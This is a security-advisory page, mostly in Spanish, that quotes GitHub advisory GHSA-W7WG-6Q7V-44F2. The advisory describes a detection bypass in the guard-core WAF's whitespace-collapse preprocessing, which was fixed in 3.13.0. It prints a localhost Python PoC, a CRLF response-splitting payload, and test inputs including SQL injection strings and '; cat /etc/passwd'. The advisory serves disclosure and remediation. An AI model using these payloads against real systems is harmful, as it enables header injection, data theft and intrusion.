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Advisory · GitHub · PyPI · guard-core

GHSA-W7WG-6Q7V-44F2

Guard Core: Whitespace-collapse preprocessing permanently disables the CRLF-anchored http-splitting and command-injection detectors in the default detection mode

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CVSS
—
low
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versión3.13.0
Exposición11 hDesde la divulgación, 19 nov 2026, 5:50 p. m.
Detección20 minDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Modificada
Explotación
Remediación
Monitoreo
Detectada +1
05:50 p. m.
06:00 p. m.
04:33 a. m.
05:50 p. m.
08:30 p. m.
11:11 p. m.
01:52 a. m.
04:33 a. m.
FechaFaseEventoDetalle
Divulgación Publicada GHSA-W7WG-6Q7V-44F2 divulgada
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés
Summary

In the default "enhanced" detection mode, `ContentPreprocessor.preprocess()` collapses all whitespace (`re.sub(r"\s+", " ", content)`, `guard_core/detection_engine/preprocessor.py:137` on master `08780f1`; `:384` in the 3.12.0 sdist) before pattern matching. This erases every `\r` and `\n` from the scanned value, rendering two built-in detectors structurally unmatchable regardless of input:

  • http_split — `guard_core/handlers/suspatterns_handler.py:540`: `r"[\r\n]\s*(?:HTTP\/[0-9.]+|Location:|Set-Cookie:)"` requires a literal `\r` or `\n`, which no longer exists after preprocessing;
  • cmd_injection — `r"\n\s*(?:bash|sh|...)\s+-c\b"` — same structural death.

The downstream application receives the raw value with CRLF intact (Starlette percent-decodes `%0d%0a` in query parameters before the adapter passes `request.query_params.items()` to `guard_core/utils.py:843-865`), so a response-splitting-shaped payload passes detection unflagged.

Details

Verified end-to-end against a real uvicorn server running the fastapi-guard adapter over guard-core 3.12.0, default config:

| request (`?q=`) | status |
|---|---|
| `value%0d%0aHTTP%2F1.1+200+OK%0d%0aSet-Cookie%3A+pwned%3D1` (decoded to literal CRLF by the framework) | 200 — missed |
| `' OR 1=1--` | 400 — blocked (detection otherwise working) |
| `1 UNION SELECT password FROM users--` | 400 — blocked |
| `; cat /etc/passwd` | 400 — blocked |

The legacy mode (no `SecurityConfig` detection attributes) skips preprocessing and catches the same decoded CRLF payload — the gap is specific to the enhanced-mode preprocessing pipeline, which every stock `SecurityConfig` activates. Contrast: every other preprocessing step (URL/HTML/hex/base64 decode) transforms *toward* what the attacker means; whitespace collapse is the one step that removes signal the detectors were written to require.

PoC
import asyncio
import httpx
import uvicorn
from fastapi import FastAPI
from guard.adapters import SecurityMiddleware  # fastapi-guard adapter over guard-core
from guard_core.models import SecurityConfig
from starlette.middleware import Middleware

app = FastAPI(middleware=[Middleware(
    SecurityMiddleware, config=SecurityConfig(enable_redis=False))])

@app.get("/search")
async def search(q: str = "") -> dict:
    return {"len": len(q)}

async def main() -> None:
    server = uvicorn.Server(uvicorn.Config(app, host="127.0.0.1", port=8995, log_level="error"))
    task = asyncio.create_task(server.serve())
    for _ in range(50):
        if server.started:
            break
        await asyncio.sleep(0.1)
    async with httpx.AsyncClient() as client:
        r = await client.get("http://127.0.0.1:8995/search",
            params={"q": "value%0d%0aHTTP%2F1.1+200+OK%0d%0aSet-Cookie%3A+pwned%3D1"})
        print("CRLF payload:", r.status_code, "(200 = missed)")
        r2 = await client.get("http://127.0.0.1:8995/search", params={"q": "' OR 1=1--"})
        print("SQLi control:", r2.status_code, "(400 = detection works)")
    server.should_exit = True
    await task

asyncio.run(main())
# Output: CRLF payload: 200 (missed) / SQLi control: 400 (blocked)
Impact

A detection bypass in a WAF/defense-in-depth layer: payloads shaped like HTTP response splitting (or newline-anchored command injection) are not flagged in the default mode, while other attack classes are. Not directly exploitable against Starlette/uvicorn-backed apps (they reject CRLF in response headers); the residual risk is for apps behind other stacks or apps that persist and re-emit the value where a CRLF-tolerant parser exists.

Fix: preserve `\r\n` during whitespace collapse (collapse only `[ \t]+`), or run the newline-anchored patterns against the pre-collapse content.

Reporter validation request

The fix ships in guard-core 3.13.0, now on PyPI. If you reported this issue, please install 3.13.0 and confirm it is resolved. You can reply in this advisory's discussion thread or open a new issue with the result.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Versiones

Rangos afectados

Afectada Corregida
guard-core≥ 1.0.0 < 3.13.0
1.0.0
3.13.0
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
PyPIguard-core
Corregida 3.13.0 — —
Versiones corregidas3.13.0
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://nvd.nist.gov/vuln/detail/CVE-2026-129303
Otrahttps://github.com/Guard-Core/guard-core/security/advisories/GHSA-w7wg-6q7v-44f2
Otrahttps://github.com/Guard-Core/guard-core/pull/68
Otrahttps://github.com/Guard-Core/guard-core/commit/c07239fa1c5aa93e3f179440e79dad652977d3e4
Otrahttps://github.com/Guard-Core/guard-core/releases/tag/3.13.0
Otrahttps://github.com/rennf93/guard-core

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